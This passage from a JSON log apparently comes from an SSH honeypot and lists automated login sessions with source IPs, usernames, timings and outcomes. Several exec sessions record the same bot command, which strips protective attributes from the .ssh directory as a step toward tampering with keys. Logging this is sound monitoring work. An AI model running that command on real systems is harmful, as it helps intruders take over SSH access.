  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.71.192.108",
  "src_port": 39340,
  "username": "developer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T13:35:26.125087+00:00",
  "ended_at": "2026-08-23T13:35:27.646001+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c90009b4-224c-46d1-818f-5e58921ebbf6",
  "name": "burly-frugal-oxpecker",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.71.192.108",
  "src_port": 39334,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T13:35:24.315718+00:00",
  "ended_at": "2026-08-23T13:35:25.171218+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "171f38d1-ac7a-400e-8637-f48b63021680",
  "name": "feral-western-zebu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "5.188.16.97",
  "src_port": 46568,
  "username": "samr",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 382,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T13:34:48.717073+00:00",
  "ended_at": "2026-08-23T13:34:48.827999+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3686
 },
 {
  "id": "a2613070-fa31-461e-81e3-5d0b8d92ca38",
  "name": "graceful-gallant-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "5.188.16.97",
  "src_port": 39788,
  "username": "samr",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T13:34:34.077072+00:00",
  "ended_at": "2026-08-23T13:34:34.330050+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3c2dce69-5af5-4b09-8431-7d19919e0164",
  "name": "sturdy-murky-polecat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "5.188.16.97",
  "src_port": 56274,
  "username": "samr",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T13:34:23.459157+00:00",
  "ended_at": "2026-08-23T13:34:24.535608+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1ebea9a9-c8be-4364-97e6-9d17c6b85a72",
  "name": "polar-freckled-stonechat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "5.188.16.97",
  "src_port": 56262,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T13:34:20.883125+00:00",
  "ended_at": "2026-08-23T13:34:22.574519+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "69c0634f-8744-49f5-854d-a6712028fe2d",
  "name": "solar-coastal-pochard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "41.63.62.103",
  "src_port": 57264,
  "username": "michael",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T13:33:42.691121+00:00",
  "ended_at": "2026-08-23T13:33:44.456649+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "defa561a-e9f1-4d85-84a9-a0639a0b939f",
  "name": "snowy-keen-cassowary",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.71.192.108",
  "src_port": 47024,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T13:32:39.024167+00:00",
  "ended_at": "2026-08-23T13:32:40.076508+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ed8d25c5-7e60-413f-9856-a022cf34b006",
  "name": "prairie-knotted-moorhen",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "5.188.16.97",
  "src_port": 50794,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T13:32:09.607154+00:00",
  "ended_at": "2026-08-23T13:32:10.469038+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dfa6f677-d54f-44c3-8d73-89faaafb00bb",
  "name": "silent-alpine-gadwall",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "41.63.62.103",
  "src_port": 45752,
  "username": "supermaint",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T13:26:05.399278+00:00",
  "ended_at": "2026-08-23T13:26:06.572744+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1c49a61b-faa1-4273-a8f7-fc673442e87b",
  "name": "golden-drifting-otter",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "5.188.16.97",
  "src_port": 49718,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T13:25:29.119150+00:00",
  "ended_at": "2026-08-23T13:25:30.554053+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e24968fb-781f-4102-b9fd-38697f921d24",
  "name": "peaty-bashful-moorhen",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.71.192.108",
  "src_port": 58036,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T13:24:59.571218+00:00",
  "ended_at": "2026-08-23T13:25:00.874869+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "55f4bf7c-8351-4936-adaf-98ea4854c7bc",
  "name": "cosmic-dapper-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "172.202.9.120",
  "src_port": 53304,
  "username": "nobody",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 168,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T09:48:02.182225+00:00",
  "ended_at": "2026-08-23T09:48:02.225005+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 4227
 },
 {
  "id": "d59193f0-d32f-48b2-9cb4-90b04c964279",
  "name": "blunt-feathered-mongoose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "172.202.9.120",
  "src_port": 34272,
  "username": "nobody",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T09:47:49.320135+00:00",
  "ended_at": "2026-08-23T09:47:49.593007+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1f764651-3531-4c52-bdc7-a4f07026ece2",
  "name": "western-serene-finch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "172.202.9.120",
  "src_port": 53334,
  "username": "nobody",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T09:47:42.201095+00:00",
  "ended_at": "2026-08-23T09:47:43.228043+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "667bfb1a-26f6-4cb3-ad74-aabb9211a95b",
  "name": "sleepy-hearty-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "172.202.9.120",
  "src_port": 53320,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T09:47:40.227090+00:00",
  "ended_at": "2026-08-23T09:47:41.891999+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d0280572-da03-4054-ba42-9b85abf8ed91",
  "name": "snowy-emerald-gerbil",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "172.202.9.120",
  "src_port": 44552,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T09:44:44.113183+00:00",
  "ended_at": "2026-08-23T09:44:44.729012+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "de282aab-d5e7-4b3b-95c1-d6751136946e",
  "name": "nautical-wiry-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "172.202.9.120",
  "src_port": 42414,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T09:37:14.839570+00:00",
  "ended_at": "2026-08-23T09:37:15.546062+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c8e73f49-66ee-4771-a4f9-fcc78669f9ba",
  "name": "tawny-gilded-mink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "180.184.30.99",
  "src_port": 48914,
  "username": "reza",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T08:34:52.062939+00:00",
  "ended_at": "2026-08-23T08:34:53.470749+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a8a8dac7-e250-4c2b-8d5a-3dd11cce1446",
  "name": "salty-whispering-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "192.169.201.223",
  "src_port": 33562,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 224,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T08:15:44.521354+00:00",
  "ended_at": "2026-08-23T08:15:44.584189+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 4126
 },
 {
  "id": "ff185bce-233e-481d-b0d6-3ed45b0a3e6e",
  "name": "placid-hollow-alpaca",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "192.169.201.223",
  "src_port": 36770,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T08:14:22.229530+00:00",
  "ended_at": "2026-08-23T08:14:22.376248+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3d833257-082f-4a32-a59a-ab207b718908",
  "name": "thawing-feral-shrike",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "192.169.201.223",
  "src_port": 34430,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T08:14:14.949323+00:00",
  "ended_at": "2026-08-23T08:14:15.766727+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dde1ed27-fb15-47fc-9ba5-979b22e590ad",
  "name": "jagged-amiable-llama",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "192.169.201.223",
  "src_port": 33924,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T08:14:13.746001+00:00",
  "ended_at": "2026-08-23T08:14:14.501716+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "25950a94-a394-42f1-b979-f009f0dc92f4",
  "name": "spirited-shaded-rook",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "43.130.249.176",
  "src_port": 53634,
  "username": "tuan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 582,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T08:14:07.773215+00:00",
  "ended_at": "2026-08-23T08:14:07.952902+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3850
 },
 {
  "id": "58d490df-cf98-4adb-ba86-6c0265c740b5",
  "name": "gentle-idle-reindeer",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.130.249.176",
  "src_port": 47172,
  "username": "tuan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T08:13:50.301897+00:00",
  "ended_at": "2026-08-23T08:13:50.642350+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "81e37683-d880-423c-8dac-ac55067f02d8",
  "name": "drifting-gleaming-hedgehog",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.130.249.176",
  "src_port": 53642,
  "username": "tuan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T08:13:35.300808+00:00",
  "ended_at": "2026-08-23T08:13:37.009053+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "441d1f5e-362f-4e5d-abed-cfefc7f44d1f",
  "name": "frank-grumpy-chinchilla",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.130.249.176",
  "src_port": 53636,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T08:13:33.073014+00:00",
  "ended_at": "2026-08-23T08:13:34.143327+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1a568df8-3084-4987-a8aa-6798bc585e26",
  "name": "weathered-burly-raven",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.130.249.176",
  "src_port": 45728,
  "username": "inversiones",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T08:11:08.900938+00:00",
  "ended_at": "2026-08-23T08:11:10.317459+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ecc09037-f6c1-4544-8f23-21b222b280bd",
  "name": "kindly-coastal-lapwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "192.169.201.223",
  "src_port": 56184,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T08:10:52.286042+00:00",
  "ended_at": "2026-08-23T08:10:53.713770+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b97905a0-9b86-4c5d-bfa6-17f062e476b7",
  "name": "ginger-lucid-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.130.249.176",
  "src_port": 53372,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T08:08:32.018182+00:00",
  "ended_at": "2026-08-23T08:08:33.491734+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b930f03c-35bb-4afe-8ced-d288bd2aae16",
  "name": "somber-russet-dipper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "192.169.201.223",
  "src_port": 44494,
  "username": "sean",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T08:05:13.375761+00:00",
  "ended_at": "2026-08-23T08:05:14.345889+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8f6a3acc-c8a8-46e4-b593-895aafc98a90",
  "name": "shifting-tranquil-reindeer",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.130.249.176",
  "src_port": 40258,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T08:05:08.227391+00:00",
  "ended_at": "2026-08-23T08:05:09.902665+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fbe487c2-e38d-4eca-b4f1-0815e77cb3af",
  "name": "umber-coral-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "107.180.88.176",
  "src_port": 32976,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 235,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T06:17:08.121725+00:00",
  "ended_at": "2026-08-23T06:17:08.182859+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3588
 },
 {
  "id": "f069b881-5d55-46f5-8646-f17dc5cf23f1",
  "name": "opal-restless-quoll",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "107.180.88.176",
  "src_port": 37356,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T06:16:54.984837+00:00",
  "ended_at": "2026-08-23T06:16:55.212823+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "171e1be0-c25d-4b56-81b3-60f3506add77",
  "name": "courtly-blazing-hedgehog",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "107.180.88.176",
  "src_port": 33960,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T06:16:47.054061+00:00",
  "ended_at": "2026-08-23T06:16:48.622925+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8d219f63-360d-4147-b2e3-41ca2da0c1f8",
  "name": "foggy-lively-peccary",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "107.180.88.176",
  "src_port": 33464,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T06:16:45.888725+00:00",
  "ended_at": "2026-08-23T06:16:46.580126+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "70fe1f9e-b460-4fb0-8891-63a61305e666",
  "name": "wistful-peaty-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "136.232.11.10",
  "src_port": 43268,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 715,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T06:16:26.327703+00:00",
  "ended_at": "2026-08-23T06:16:26.559283+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 4025
 },
 {
  "id": "383ec216-9e6d-4ab4-920d-3902f109b971",
  "name": "placid-upland-vole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "136.232.11.10",
  "src_port": 22250,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T06:15:32.231542+00:00",
  "ended_at": "2026-08-23T06:15:33.592082+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "894f9264-9f09-4ebf-969b-7cae1b3c8175",
  "name": "gleaming-gloomy-ouzel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "136.232.11.10",
  "src_port": 14592,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T06:15:29.699153+00:00",
  "ended_at": "2026-08-23T06:15:30.784906+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aec3590d-7193-43e7-b4df-e25e85e5a77d",
  "name": "thorny-fickle-jackal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "107.180.88.176",
  "src_port": 38670,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T06:14:30.674100+00:00",
  "ended_at": "2026-08-23T06:14:31.565142+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1bf9d4d1-932e-4c46-97f1-1042d928ad0f",
  "name": "pewter-prairie-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "136.232.11.10",
  "src_port": 51318,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 734,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T06:13:42.454122+00:00",
  "ended_at": "2026-08-23T06:13:43.667628+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2320
 },
 {
  "id": "32a02113-fa32-4c13-915a-4c1e625bb1d6",
  "name": "dappled-prairie-francolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "107.180.88.176",
  "src_port": 44434,
  "username": "jiang",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T06:12:08.234581+00:00",
  "ended_at": "2026-08-23T06:12:10.157627+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fdb161e3-53ae-4578-8cf7-3a05774ddcbe",
  "name": "hushed-dappled-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "136.232.11.10",
  "src_port": 21548,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 719,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T06:08:49.251605+00:00",
  "ended_at": "2026-08-23T06:08:50.151808+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2678
 },
 {
  "id": "0f965599-313e-4547-812d-f8c8f732a918",
  "name": "icy-tawny-caracal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "107.180.88.176",
  "src_port": 43652,
  "username": "sftpuser1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T06:08:38.424075+00:00",
  "ended_at": "2026-08-23T06:08:39.553091+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4409b150-4061-42b4-9fe7-dbf7af0e7f8e",
  "name": "lunar-sleepy-mongoose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "136.232.11.10",
  "src_port": 47822,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T06:08:34.112918+00:00",
  "ended_at": "2026-08-23T06:08:36.081927+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4caf1abc-f2c2-4ce8-a16c-614f50cad020",
  "name": "ashen-vivid-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "136.232.11.10",
  "src_port": 34972,
  "username": "goran",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 760,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T06:06:27.365138+00:00",
  "ended_at": "2026-08-23T06:06:28.195197+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2150
 },
 {
  "id": "ade94300-ce87-4cfc-9276-92a7f512fafe",
  "name": "tidal-flinty-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "136.232.11.10",
  "src_port": 10536,
  "username": "denis",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T06:03:32.329293+00:00",
  "ended_at": "2026-08-23T06:03:33.141665+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "949ec7a0-896d-4723-8f64-799b7d722008",
  "name": "meadow-electric-lynx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "136.232.11.10",
  "src_port": 31485,
  "username": "odoo15",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T05:47:05.024961+00:00",
  "ended_at": "2026-08-23T05:47:06.974745+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bde62863-ed5a-4eff-8e47-810f31050852",
  "name": "emerald-cheerful-otter",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "34.175.118.185",
  "src_port": 60072,
  "username": "tata",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 750,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T05:42:25.785134+00:00",
  "ended_at": "2026-08-23T05:42:26.045854+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3482
 },
 {
  "id": "87299ef2-23dd-4a17-a5c0-14793158145d",
  "name": "buoyant-grassy-squirrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "34.175.118.185",
  "src_port": 39438,
  "username": "tata",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T05:42:07.277522+00:00",
  "ended_at": "2026-08-23T05:42:07.539551+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e8bbfb71-e3b3-4c31-a084-d5f0d4a4fc37",
